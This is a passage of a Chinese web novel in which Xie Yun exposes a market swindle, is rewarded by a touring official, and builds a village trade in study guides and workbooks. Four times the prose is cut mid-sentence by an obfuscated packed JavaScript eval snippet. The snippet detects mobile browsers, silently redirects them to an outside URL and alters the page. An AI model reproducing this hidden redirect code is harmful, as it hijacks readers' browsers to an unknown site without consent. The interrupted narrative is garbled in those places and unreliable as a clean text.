谢韫琢磨一阵,便垂下了眼皮,静静等着车架经过。却没想到,马车行到她们摊位前时,毫无预兆的停了下来。 青衣侍从微微扭头往车帘处看了一眼,不用里面的人出声吩咐,就已明白了意思。 他眼睛巡视过众人,问道:“我家大人问话,方才发生了何事?尔等为何聚集于此,扰乱治安?” 谢韫眼皮一跳,竟然还真是个官身! 青衣侍从声音不大,但此时整条街都静的可怕,所有人都将他的话听得清清楚楚,却没人敢站出来回话。 谢韫闭了闭眼睛,在心里默默数到十,还是没听见有人说话。她用余光迅速扫视一圈儿周围,每个人俱都一副大气不敢出的模样,缩脖垂首努力降低存在感。 王氏垂着头,身体微微颤栗着。旁边柳婶子没比她好到哪儿去,那脖子缩的恨不能整个脑袋直接钻到衣领里去。 谢韫轻轻呼了两口气,脚步一抬,向前微微迈出了一小步,躬身答道:“回大人的话,方才有恶霸做局诓骗乡邻,被揭穿后拒不悔改,这才引得群情激愤。” 青衣侍从没想到最先出来答话的竟是个女子,微不可见的挑了下眉头,问:“恶霸在何处?” 谢霁没想到姐姐会在这个时候站出来,他此刻焦急万分,后悔自己因为恐惧没有第一个站出来保护家人。此时听那青衣侍从又问一句,语气中似有怒意,连忙忍着害怕指着前方答道:“就是他们四个。”说完想了想,又补充一句,“我等正想写联名状将恶霸吿去县衙。” 青衣侍从听了,脸上终于露出些许和煦之色,他问谢霁,“听小郎君说话,似乎是读过书?” 谢霁不敢隐瞒,答道:“阿姐正在为我开蒙,如今才读完《千字文》《三字经》。” 青衣侍从俊眉微挑,正眼瞧了一眼谢韫,又道:“你们运气不错,正好遇上我家大人巡视各县。县衙路远,这四人我们替你送去可好?” “啊?”谢霁直愣愣的盯着青衣侍从,一时没反应过来。 谢霁愣神之际,谢韫立刻机敏道:“自然再好不过,多谢大人为小民们做主。” 青衣侍从一挥手,车夫从车架上一跃而下,变戏法一般摸出一个麻绳,将四人绑成了一串糖葫芦,马鞭一甩,呵斥着让跟到车后头去。 青衣侍从又从怀中摸出一个五两重的雪花银锭,对姐弟二人道:“我家大人赏的,赏你们惩恶扬善、卫道之举。” 谢霁惊的瞪圆了眼睛,不敢贸然去接,他本能的先去瞅姐姐的脸色。 谢韫脸上也闪过一丝讶然,见谢霁看过来,微不可见的一颔首,后者这才上前恭敬的双手接了赏赐,高呼:“小民叩谢大人赏赐。” 说是叩谢,却也只是躬身深深一揖。 谢韫不由庆幸,还好这个世界再怎么等级森严,平民到底比历史上某些朝代的庶民有人权些,不必一见大小贵人就要下跪磕头。 车夫这时已重又跃上车架,手里的鞭子正要扬起来,车里之人却突然说话了。 他问:“你读过大周律?” 那人音色醇厚清爽,但许是已经知道了他是官身而先入为主的缘故,此时听在谢韫耳里,只觉得这声音威严十足。 她愕然看向马车车帘处,却不见那车帘有一丝晃动。 她定了定神,回了个“是”。 车内人又问:“天下士子莫不以研习六经为立身之本,法籍惟充刑名参详。你却独钟律例之学,何故?” 谢韫心道,还能为什么?天下读书人是为了考科举,当然只能拼命钻研考点,她又不考,自然喜欢什么读什么。更何况如今这点儿唬人的本事还是拜原主所赐。 但答肯定不能这么答,她道:“小民以为遵纪守法才是良民立身之本,只有熟知律法,知道什么事情该做什么事情不该做,才能守好应有的本分。” 她说的其实是个全民普法的概念,现代时彻头彻尾的法盲已经不多见,可在这个百分之八九十的百姓都是文盲的世界里,全民普法根本无从谈起。 也不知对方会不会觉得自己这回答太过超前。 车内人细细品味:“遵纪守法......”声音渐渐低下去,半晌后才又道:“倒是有趣。走吧。” 青衣侍从一挥手,车夫扬鞭,马儿踢踢踏踏向前行去。 一直等到车架驶过东街口,再看不见踪影了,两侧百姓才狠狠松了口气。回过神后,看向谢家姐弟的眼神已全然不同了。 刘老抠等人齐齐上前朝姐弟二人作揖致谢。 “这次多亏了你们,不然我们都活不成了。” “就是,多谢姑娘,日后若有用的着的地方尽管开口,我家就在兴和庄。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15784960|174836||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我是柳沟村的……” 面对众人的感激之情,谢韫道:“快别这么说,大家都是乡邻,守望相助才是为邻之道。”她将谢霁趁机夺过来的契书交给他们,“方才事出突然,我怕又有什么变故,只来得及悄悄撕成了两半,剩下的你们自己处理。” 一时,又是一番感谢。 陶三郎一直缀在最后面,沉默看地面。见谢韫将契书交出来后走了,才赶紧上前去寻自己那张。 因着今日状况频出,大家都没有了继续摆摊的心情,只想早点回家去平复心情。王氏和柳婶子将剩下没卖出去的东西装回板车上,又到镇口载上大山叔,一同归家去。 大山叔还不知道今日集上发生的事情。但很快就有一路同行的人给他进行了科普。 旁人说罢前半截,听见自家婆娘也差点着了道时,他简直惊出了一身冷汗,再听到后半截,又对谢家母子既感激又佩服。 这感激和佩服里又带着十足的羡艳。 谁又能不羡慕呢?今日凡是带了眼睛的,都瞅见那雪白银锭进了谢家的口袋。足足五两啊,若是换成铜钱得装满满一匣子还有富裕。 有羡慕的紧的,晚上做梦时将白日与恶霸斗法、向贵人回话的脸换成了自己,但几乎立刻,他就打了个激灵惊醒了,无他,只因做美梦的同时,那恶霸狰狞的面目和贵人压迫的气势也同时出现在了梦里。 一场美梦变噩梦,再不敢肖想那雪白银锭是自家的了。 谢家母子回家藏了银锭,对集上的奇遇讨论了好几日。王氏想起来就要朝四方神佛拜一拜,求他们保佑贵人事事平安,就差给人家塑个金身。谢霁则是兴奋的细数那青衣侍从的威仪,猜测车上之人是多大的官儿。 谢韫心里已有了定论,能够巡视各县,品级至少在知县以上。但她并不多说,只是趁机鼓励他,“凡我朝官员,非进士出身不可入仕。你与其羡慕他不如想办法成为他。” 她三言两语就给他描绘出了一副朝为田舍郎,暮登天子堂的宏愿蓝图。 “考上了进士,就能做官,若是名次好,京城六部乃至翰林中枢也可进得,就算名次一般,最低也能外放个知县,做个代天子守土之臣。” 谢霁听直了眼。 谢韫再接再厉:“若你真做了知县,衙署前明镜高悬,堂下三班六房听命,出则皂隶开道,入则乡绅奉茶,几万民生托于一肩,方不负十年寒窗。” 谢霁听罢,情绪亢奋,难掩激动,朝她深深一揖,道:“阿姐,我这就去将这月考试没记住的内容再写三遍,明日和后日要学的内容也争取先背下来。” 谢韫欣慰点头,“孺子可教。” 这种每隔一段时间就要邀请杰出校友登台演讲,以自身励志经历鼓舞学生奋发向上的操作她再熟悉不过。她那时每每听完,至少一月都会跟打了鸡血似的起早贪黑的刷题。 如今她还请不起科举大佬,只能自己上阵,效果同样优秀。 16. 第二单生意 过了几日,刘老抠突然上门造访。 王氏见他左手提着点心盒子,右手拉着幼子,进门先就讨好的笑,诧异道:“他叔,你怎么来了?” 刘老抠道:“我寻你家阿韫有事。”说着见院里只王氏一个人,又问:“人可在家?” 王氏朝西屋一抬下巴,道:“在呢,不过这会儿正在西屋给霁儿上课,你怕是得等会儿。” “不妨事,不妨事。”刘老抠连忙道:“我就在院里等。” 都是村邻,平日里都是低头不见抬头见的,王氏自然不会真的让他一直站在院里,她将人迎到东屋,倒一杯清水,陪着说了几句话,谢韫就下课了。 她先嘱咐谢霁:“去门边上站着望一会儿远处的高山翠树,你这几日伏案时间太长,小心坏了眼睛。” 说完走出来时,刘老抠已听见了动静,顿时坐不住已从东屋迎了出来。 “阿韫,读完书了?” 谢韫猛然看见他,有些意外,“二柱叔?什么时候来的?”刘老抠原名叫刘二柱。 谢韫边问边看向王氏,后者也是一脸莫名,只道:“你二柱叔是特意来找你的,等了有一会儿了。” “可是有事?” 转眼看到亦步亦趋跟在他身后的刘守仓,顿时心里一动,再扭头时已是一副笑脸,“快别站着了,进屋说。阿霁,快给二柱叔倒水。” 谢霁本想按照她教的出门放松会儿眼睛,院门还没走出去又被叫回来拎水壶。 刘老抠连忙推辞:“不用不用,你阿娘倒了水的……” “那就再添点儿,虽说已入了秋,可这秋老虎毒的很,多喝水去暑热。” 谢霁二话不说依言将父子二人只喝了一口的水杯重新添满。 “好好,我这就多喝。”刘老抠却之不恭,只得将杯中水饮尽。不知是不是他的错觉,总感觉对方似乎突然变得格外热情了些。 谢韫招待尽兴了,才笑吟吟问他找自己有什么事。 刘老抠是打了好几遍腹稿才敢登门的,可临到开口还是有些难为情,“阿韫啊,叔今日是来求你给我们家守仓当先生的。” 说完后生怕对方下一刻就会拒绝,又急急道:“你莫要觉得我唐突,实在是想不到更好的办法了。你瞧这孩子,眼看着都八岁了,我记得你家阿霁跟他差不多大的时候早就能顶半个劳力了,可他成日里还只知道捉知了摸鸟蛋,我和他娘愁的头发都白了好些。” “阿霁确实从小就懂事。”谢韫点头肯定道。 “是啊,小时候就懂事孝顺,如今有你教他读书,越发的出息了。若是我们家守仓也能跟着你读书,不说将来能像阿霁一样出息,但凡有他一半,我也知足了。” 刘老扣诚恳央求道:“一只羊是放,两只羊也是放,阿韫,你就收下他吧。” 谢韫此时只得将之前王氏拒绝柳婶子的话再说一遍,一是男女大防,二是精力不够,第三......谢韫自己再加上一条——不善讲课,只擅长编写教辅书籍。 她跟刘老抠解释道:“阿霁如今在家跟着我读书,实在是无奈之举,谁叫我们家没有银钱送他入私塾呢。” 刘老抠听到没有银钱,心里吐槽,“写信挣了一笔,听说之前给赵满寿家那小子卖书赚了一笔,再加上贵人的赏赐,如今谁家还能比你家有钱?” 但他面上不表,谢韫还在继续说,“你若真想送孩子读书,我给阿霁亲自编写的《三字经解读》和《千字文解读》倒是可以卖给你。想必你也听说了,赵叔前些日子一口气在我这里拿走了三本书呢。我听赵益讲,那书拿到学堂里去,就连夫子也夸书上注释做的好。” 刘老抠没有急着说话,而是在心里权衡一番后,才问道:“既然如此有用,那为何我听说你这书比书铺里的书还要便宜些?” 原来是因为书架便宜而打鼓啊,谢韫好笑道:“您莫不是怕便宜没好货?” 刘老抠面上露出一丝心思被叫破的尴尬,但也没有否认。 谢韫便道:“我想供阿霁读书,可一打听那学费、书本费,杂七杂八加起来所需银钱数目简直吓人,所以我这才想着若是有人朝我买书,我必然想方设法要将价格降下来,如此才会有更多的人能读得起书。” “想不到我的心思竟让人误解至此。罢了,我这书虽然便宜,但用纸排版确实比不上书铺里正经印刷出来的,要不二柱叔还是到书铺里去询价吧。” 刘老抠顿时急了,“哎呀,我不是这个意思......好好好,确实是叔不会说话,阿韫,你别生气,阿霁都能读的书我自然是愿意买的。” 谢韫这才脸色稍霁,喊谢霁拿出一套启蒙书籍来,《三字经解读》和《千字文解读》两本,道:“你们可以先翻开看看,若是觉得物有所值再买不迟。” 刘老抠自从见识了那五两雪花银,已经打定主意要送刘守仓读书,发现找个便宜夫子的主意行不通后,比书铺里都便宜的书自然是要买的,况且谢韫一副爱买不买的姿态摆出来,他即使脸皮厚,也不好意思再挑毛病了。 匆匆翻了几页,实则也看不懂。“好,这两本我都买了,多少钱?” “两本各五十文,刚好收您一百文。” 刘老抠买了书,谢韫便问他打算送孩子去哪个私塾。 刘老抠道:“自然是跟着赵夫子去读。我也不求他有大出息,只要能赶上你们家谢霁,能写会算我也就知足了。” 这倒是一句大实话。他是个名副其实的铁公鸡,向来有性价比高的,便绝不会去选择贵的。 谢韫听了点头肯定道:“赵夫子十分擅长开蒙。想必守仓进去能学到不少。” 刘老抠也是一脸期待,“但愿如此。” 等刘老抠走了,谢霁问道:“上回赵叔不是还买了一本《千家诗解读》,为何不将这本也推荐给二柱叔?” 谢韫道:“赵益和刘守仓的程度不同,一个已经开蒙两年,只需些许助力就能更上一个台阶,一个却才要开始开蒙,读的效果还是未知,那《千家诗》少说也得一两年之后他才用得到,你说二柱叔会不会现在就买回去落灰?” “自然不会。”谢霁脱口而出。却又听谢韫道:“不过,经过今天这事,我倒是觉得要对二柱叔多一层认识了。” “阿姐何出此言?”谢霁疑惑。 谢韫道:“这些日子咱们造的势也够多了,我原以为经过镇上这件事,最先上门的会是柳婶子,却没想到竟是二柱叔。” 她们家跟柳婶子家毗邻住着,自家有什么动静肯定瞒不了她家,因此,他们也是最先在王氏跟前表露想要送孩子读书的一个,可犹豫了这么久,最后没了动静,反而 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15784961|174836||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是赵满寿和刘老抠这两家跟谢家平时没什么交情的先找了上来。 “赵叔也就罢了,他能敢为人先,将孩子送去读书,如今在我这里买书也不算奇事。二柱叔的为人村里却都是知道的,能让这样的人心甘情愿掏出一百文钱来,足可说明前面的诱惑到底有多大。” 当然这也从侧面说明他们前期的造势有多成功。 谢霁道:“不过对咱们来说也是好事,有二柱叔开了个头,想必阿姐的这些书很快就能卖出去了。” 姐弟俩的话刚说完,下午赵益就又来了。 这次他独自一个人来,主要是想来看看谢霁前两日跟他说的练习册长什么样子。 赵益一进来就先一脸骄傲的说起先生夸他的事情,“多亏了阿韫姐姐,先生夸我总算开窍了。以前那些看不上我的同学竟然还想借我的书回去抄写,哼!我才不会借给他们呢。” 谢韫替他高兴道:“有效果就好,读书就是要看入没入门,只要入了门一日千里也就不是说说了。” 赵益道:“我同爹爹说了,想买阿霁哥说的那个练习册,听说阿霁哥就是做了这本册子上的题,才学的如此快速。” 谢韫听着不由看了一眼谢霁,后者不禁脸一红。 之前碰到赵益说羡慕他学的时间短却长进飞快,他觉得正是替阿姐宣传的时候,便说起做过的练习册。明明是为了家里的生意,可如今被姐姐这么一看,倒好像是故意自己夸自己似的。 谢韫收回眼神后并未调侃他,而是拿出《同步练习册》和《课时练》给赵益看,并解释道:“这两本里的题型都是我照着县试的题型编写出来的。如今虽是启蒙阶段,但你们只要熟悉了这样的题型,就算后面再学四书五经,考起试来也不惧的。” 赵益一听,顿时吃了一惊,“县试?”复又反应过来,问道:“阿霁哥难道想要下场应试?” 谢霁没有回答,而是反问他:“难道你不想?” 赵益脸一红,“爹爹只说让我读书识字,将来有用。我并未想过下场之事。”说罢又突觉羞愧,阿霁哥才开蒙几个月,就有这样的理想,自己读了好几年了,竟还浑浑噩噩。 谢韫见他脸色几变,鼓励道:“以前没想过,现在慢慢想也不迟。不过就算不应试,这些习题册也对你快速背诵十分有益处的。” 赵益脸色沉重的点了点头,问她,“不知这两本书多少钱?” 谢韫比出两个手指头,“一本二十文,不过这两本都是《千字文》的,我建议你可以只买其中一本,《三字经》和《千字文》各一本,只要你能将上面的题目保质保量的完成,你这两本书就算学的差不多了。” 赵益粗略翻看一番,直接采纳了谢韫的建议,两本书痛快掏了四十文带走了。 谢霁不由感叹,“都说赵叔家的日子过得比旁人强些,这几日我算是见识了。”这还是第一个买书这样豪迈的。 谢韫却给他解释道:“说的不好听些,读书本质上其实就是个无底洞。要么不读,一分钱不用花,要读且还比较有志气,那么课本得买吧?像咱们这样的参考书得买吧?若是下了场,时文题集也得买吧?看着吧,这样一直读下去,每一笔钱都是省不了的。” 这也是她决定做教辅营生的原因之一——学生的钱挣起来还真比旁的生意要容易些。 17. 生意步入正轨 刘老抠早上从谢韫处买了书,便一路走一路炫耀,等到下午的时候,几乎全村人都知道了他要送刘守仓去读书。 秦大山嘴里叼着一块儿烙饼,正准备将牛从牛棚里牵出来,他婆娘柳氏突然慌里慌张的跑了进来,“当家的,出事了,出大事了!” 柳氏本来是受不了秦大山磨磨蹭蹭,收拾半天都出不了门,于是扛着木犁先走了,这会儿又跑回来,秦大山不由奇怪道:“出啥事了?又有贵人给谢家赏钱?” “你还真说着了,刘老抠可不就是那个贵人。”柳氏道:“我刚才听人说刘老抠到阿韫跟前买了书,要送他家守仓去读书呢。” 秦大山这时也变了脸色,“你听谁说的?是跟着阿韫读书?” “刘老抠自己说的,跟着谁读倒是没说。”但她觉得谢韫应该没收,之前自家也试探过,没道理王氏拒绝了有交情的自家反而去答应旁人的。 秦大山牛也不牵了,急的原地打转,“怪我怪我,这事是我想岔了,原想着再想想,没想到却被刘老抠抢了先。” 事实上,王氏拒绝带着二福一块儿识字后,秦大山想让他读书的心思渐渐就淡了,后来听见赵满寿竟上谢家去买书,心里更是有了现成的理由,赵家生活富裕,买几本书不在话下,自家确实没得比啊。 直到上回从集上回来,他才突然反应过来,马岭镇怕是要变天了,谢家得了贵人的赏,今后不知会激励多少人家奋力崛起,自家要是一成不变,恐怕将来要成垫底的那个了。 再者,集上上当受骗归根究底就是不识字的缘故,刘老抠那样精明的人都能被骗,何况自家。若是家里真有能写会算的人,断不会遭遇那样的险境。 想到这里,秦大山其实已经下定决心要让二福读书了,但毕竟家里人口多,得想想这个话怎么说。 这一思虑,却被刘老抠抢了先。 说着又骂刘老抠:“这铁公鸡,眼睛可真毒。” 柳氏同样心急如火,同秦大山道:“我们两家关系向来好,上回我也跟阿韫他娘说好了的,今日去买书总不能他家又反悔不卖了吧?” 秦大山担心的却是:“上回说书价便宜些卖给我们,如今看着不止一人上门买书,我怕她家会涨价啊。” 大周朝要说什么最一成不变,那便是书价,向来居高不下,比房价还要稳定。上回王氏说愿意比书铺便宜卖给他们书,秦大山本就觉得占了便宜,只是那时候实在囊中羞涩这才作罢,可如今再去又不可同日而语了。 两口子在这儿琢磨来琢磨去,也琢磨不出一朵花来,柳氏直接回屋翻箱倒柜往怀里塞了个钱袋子就要出门,“直接去问问不就知道了。” 走到院门处却又突然停下了脚步。 “我忘了,那姐弟俩白天要上课,她王婶子早说过,谁来都不能打扰。” 便只能等到晚上再去了。 两口子只得接着下地去,可一下午活干的心不在焉。 到了傍晚,柳氏下地回来还没来得及去谢家,她娘家就来人了。 来的是她亲哥柳长栓和她十岁的侄子麦生。 柳长栓风尘仆仆的赶来,略寒暄几句,就说明了来意,他不但同意二福去读书,还想托关系也给麦生买上两本书。 柳氏听了,立刻跟一旁的秦大山交换了个眼神,两人脸上同时闪过一丝犹疑。 柳长栓若无所觉,又说了柳氏托自己打听的情况,“前几年爹想送麦生去镇上读书,可那束脩实在太贵,便拖了两年,直到去年听说你们村出了个谢先生,学问高受人尊敬的很,这才又起了心思将麦生送到兴合庄跟着赵童生读书,一年也只要一贯钱。想着好歹多识几个字,将来再去木匠铺做学徒,学个手艺,将来也能多条路。” 柳氏意外道:“这事我咋不知道?” 柳长栓道:“之前事情没成,爹也不好到处宣扬,后来麦生读书也不过才一年。你们上回镇上被骗的事情也传到了赵先生耳朵里,他听说后当即就在学堂鼓励学生要奋发图强,将来做个如那谢氏姐弟一般说话有分量的人物。” 赵先生对谢家姐弟推崇备至,后来又看到学堂里有人拿着据说谢家姐弟用过的书籍学习,翻看一番后又是一番夸奖,然后当场断言谢霁有登科之心。 柳长栓道:“赵先生鼓励学堂里天分还算可以的几个学子多读几年书,然后下场应试。麦生就在里面。” “麦生要考状元?”两口子吃惊不小。 柳长栓脸一红,赶紧解释:“不是状元,离状元还差的远呢。赵先生说了,若是县试和府试考过,便是童生,就如他一般了。若再进一步,考过院试,就如镇上学堂李秀才那般了。你们可知,李秀才可是能和县老爷说上话的。” 秦大山两口子听的半晌没说话。这些他们从未想过,也从未有人说过。 柳长栓说这些也不只是为了炫耀,还想让他们出力帮着联系谢家。 秦大山想了想,对柳氏道:“既然舅兄也要买书,今日太晚了,不若明日一早咱们就陪着一块儿去找一趟阿韫,到时候有什么话一块儿说。” 他将时间定在了明日,就是想趁着晚间跟大儿子两口子再说一说这事。 晚上一家人坐在一处,大福听闻二福要读书沉默了,大儿媳则是眼睛闪了闪,往丈夫那里一瞅,斟酌着开口,“二弟读书自然是件高兴事,将来也能给他小侄子做个榜样。”她已经怀孕,明年开春就要生了,一家子全都期盼着这是个小子。 柳氏一听大儿媳没有死命反对,心里先就一松,可也从那话里听出了个意思,二福读书开了头,将来孙子也得读书。 这倒没什么反对的,一来孙子读书还早得很,真到了那时,他不信自家的日子还会过的这样紧张,自然也会有能力再供一个。 但大儿媳紧接着又道:“不过,我如今干不了多少重活,大福也得为这未出世的孩子打拼,只怕于银钱上帮不了二弟多少。” 说白了,你供你儿子读书是你的事,可别想让我们做兄嫂的掏一分钱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15784962|174836||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 柳氏心里一寒,到底不是自家亲骨肉,平时不论看着多么和气懂事,到了关键时刻还是指望不上。可不舒服归不舒服,她心里也明白这就是现状。 二福要想读书,还是得靠他亲娘老子。 柳氏哼声道:“这是自然,二福将来的花费自有我和你公公出力,只是我们如此打算也是为了这个家,今后你们可莫要因为银钱花销之事不平衡。” 大福连忙道:“这如何会?娘想多了,二福是我弟弟,我们只有盼着他好的。” 二福读书的事情就这样定了下来。 大福两口子回去后私下说起,一个道:“你也答应的太快了,这毕竟不是小事。” 另一个道:“爹娘背着咱们都商量好几回了,还以为我不知道呢。如今说,是因为他们已经做好了决定,我又何必上赶着去当坏人。” 她抚摸一把肚子,道:“况且他是你亲弟弟,咱是做哥嫂的,只要你爹娘不想着当那周扒皮只疼小儿子,咱们又何必去阻他的前程。”她看的清楚,说什么将来出息了全家受益,那都是空话。 次日一早,秦大山等人赶在王氏下地之前就去找谢韫。 没想到说明来意后,谢韫竟一脸为难的拿出一个登记册子来。 “大山叔,你们说的太迟了,我这里本来是有几套书的,可昨天下午全卖出去了,你瞧,田婶子家的,石叔家的,还有杨伯家……” 王氏也跟着道:“还有几个外村的来问,都跑了个空。” “这如何是好?”柳婶子心焦道:“我娘家大哥也是走了老长的路赶来的,不好让他就这样回去的。” 柳长栓也跟着询问谢韫能否想想办法,他将赵童生鼓励自家孩子下场的话说了,表示实在耽误不得。 谢韫听了笑道:“你莫急,昨日来寻我买书的都是这样说的,想不到我与赵童生素未谋面,他竟这样看好我。” 她想了想,道:“这样,你们先登记留下定金,过几日另一批抄写好了,你们再过来取。” 柳长栓无法,只得问:“得要几日?” “四五日吧。” 见也不是太久。柳长栓只好与秦大山一块先登记交定金。 两人选的书不一样,柳长栓一口气买了《千字文》和《三字经》的课时练和同步练习册共四本,他的目的主要是做题。秦大山则买了两本解读,是要送儿子入学堂。 谢韫接定金前,又拿出一本样书先让他们看,“我这些书与书铺里的印刷有所不同,所以书价也便宜的多,你们先看好了能接受再买。” 印刷不同,知识却是一样的,况且还比书铺里的便宜那么多,两人都忙说没什么好挑的。 书要四五日才得,柳长栓自然不可能在这里待四五日,他还要趁早赶回家去,却把麦生留了下来。 赵童生这两日正好给他们放了课休,他想让他跟二福好好接触几天,到时候兄弟两个一同去上学。 秦大山自然没有不同意的。 18. 请教 谢韫却又开始忙起来了。 最近谢霁已经开始学《千家诗》和《论语》了,按原计划是要给他买一本《四书章句集注》正经当教材的,可那一本书在书铺里要价五两银子,卖书挣来的钱根本不够,况且还要再继续往里搭成本去抄书,她只得再次手抄《论语》部分。 先凑活着读,银子总会有的。 除了忙谢霁的学业,教辅书的抄写也到了寻求外援的地步,以她自己的精力,这些订单根本完不成。 谢韫想来想去,依旧去找了上回询过价的最便宜的那个抄书匠,那人写字没筋骨,只有个字迹工整,是以每每被书铺压价。 谢韫寻到他,直接一口价给他提了十文,“千字四十文,不过你要按照我的要求来抄。” 抄书匠姓陈,租住在县学旁边的一处小院里,他抄书除了糊口,还要供八岁的幼子读书。 抄书生意不景气,父子两平日活的紧巴巴的。此次见谢韫带来一个大单,没怎么思考就答应了。 待谢韫教他如何用羽毛笔,如何铺上复写纸,一次抄出六本书的时候,他不可置信道:“世上竟有如此之法,不过读书人向来以毛笔写字,这个什么羽毛笔我用不惯……” 谢韫笑道:“陈郎君,我出钱,你出力,待我给你结清铜板的时候你自然就能习惯了。” 说完见他依旧直愣,她又道:“出门左转就是好几个抄书人,我找你是你占了住在第一家的便宜,你要是不愿意,我只好去寻别人了。” “好,我抄。” 只是换了一种写字方式,总比生意跑了的好。谢韫一次性下定了十八本,如此一笔赚下来,怎么也得一贯钱。 而这笔订单,对陈郎君来说是抄十八本,但他每次抄写,都要拓印五张复写纸,等于是他抄一次,对谢韫来说可得六本,那么十八次抄下来,就是一百零八本。 这个量已经不小了。保险起见,谢韫拿出早就写好的契书要跟他签合同。 陈郎君莫名道:“君子不打诳语,你还怕我赖你的笔墨纸砚?” 谢韫道:“在商言商,契书约束的是双方。你不怕自己辛辛苦苦抄完我赖你账?” 要抄这么多书,至少半个月他接不了其他的活儿了。 况且用那个什么羽毛笔写,估计还得适应好几日呢。 不过谢韫给他多估出了二十张纸,允许他先练手再开始,而且要求也不高,只要字迹工整就行。 谢韫最后又交代:“契约写明,为我抄书一事属于商业秘密,不能跟人乱说,也不可将我的书私自卖出。整个怀化县这样的书籍只有我有,还望先生说到做到。” 她这样说,有两个目的,一来,生意目前还在小打小闹阶段,这些书都还没有到县学备过案,若是太张扬,被人抓住把柄还得罚钱。二来,她怕万一有人起了坏心私自去卖盗版,分走自家利润。 双方说定五日后先来拿回抄好的部分,谢韫就告辞了。 出得门来,谢霁问她:“阿姐,那咱们啥时候跟县学备案啊?” 在大周朝,因制度的局限性,总有鞭长莫及的地方。他们这里,地处偏远,百姓文化程度较富裕之地低的多,因此,民间私印其实管制的不是太严格,若是托付给书坊去印,自有书坊全权处理备案之事,可谢韫要自己干,这事就有些麻烦。 不过她早就打听好了,“我之前卖过话本的益民轩就有自家的书刻坊,若是使了银子,他们也能帮着代办备案的,只是还是银钱的问题,我们这一批书只要卖出去,就不仅有钱给你买课本,还有银钱托书坊代办备案之事了。” “那五日后我再跟阿姐一块儿来取书。”谢霁踌躇满志。今后他花银子肯定是大头,要更努力才是。 谢韫点头答应,又道:“今日耽误了半天课业,赶紧回去补上才行。” 她如今与谢霁说话,三句不离课业,五句不离生意。 没办法,现在谢霁就是自家的活招牌,只要他学的好,就是免费的广告。 柳麦生留在了姑母家,闲来无事就和二福商量着去找谢霁请教学问。 二福踌躇道:“阿霁哥白日要上课,恐怕没有时间与我们一道。” 柳麦生笑道:“这不是正好?咱们一块儿听阿韫姐讲课去。” 二福没说话,心道,爹娘早就打听过了,阿韫姐不收除阿霁哥以外的学生。但这话他还未来得及说出口,就被表哥推着出了门,半推半就到了谢家门前,正好见大门半开,谢霁正拿着一本书坐在西屋的台阶上,垂首看的认真。 柳麦生也不认生,一马当先走进去,朝谢霁一揖,道:“阿霁哥是在用功?” 谢霁正背诵的投入,猛的听见声音,抬头一看,见是他们俩,不禁露出一个笑容,站起来温和道:“在背诵课业,你们两个怎么来了?” 二福不用说,相互间已经很熟悉了,麦生之前跟着他爹来买书时他也见过。 二福道:“表哥说想跟你一起切磋学问……”说着又不安道:“我们可是打扰你背书了?” “无妨,快进来吧。”谢霁将书合上,说话间就要给他们去倒水,“阿娘前几日买来的蜂蜜,你们进来坐,我给你们冲蜂蜜水喝。” 这两人都比他小,谢霁便下意识的将他们当做小孩子来招待。 二福听见有蜂蜜水,脸上顿时就挂上了笑容,满眼的期待。麦生却小大人般推辞道:“不用麻烦了,我是听说阿霁哥虽开蒙晚,但短短时日学问却已经十分厉害,之前在镇上当众背诵大周律法,连贵人都十分赏识呢,这才想着来请教一番。” 说是请教,但自从在课堂上听夫子夸过后,他就跃跃欲试想要见识一番,到底是怎样三头六臂的人物,开蒙短短几个月,难道比自己这个已经念了一年书且频频得夫子夸奖的人还要强? 谢霁将两杯蜂蜜水放到二人眼前,闻言连忙道:“想必你是听岔了,当时用律法破了那骗局的是我阿姐,并不是我。” 他读书以来,于人情往来上已经开窍,如今待人接物也进退有据,落落大方,但毕竟是个孤僻性子,也未曾如麦生一般上过学堂,跟众多同窗接触锻炼过,是以跟不太熟悉的人说起话来还有些腼腆。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15784963|174836||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >与他形成鲜明对比的,麦生却在交谈应酬方面如鱼得水,他道:“阿霁哥不必谦虚,传言也许有夸大之处,但得了贵人赏赐却是真,连我们赵夫子都赞你有登科之心呢。” 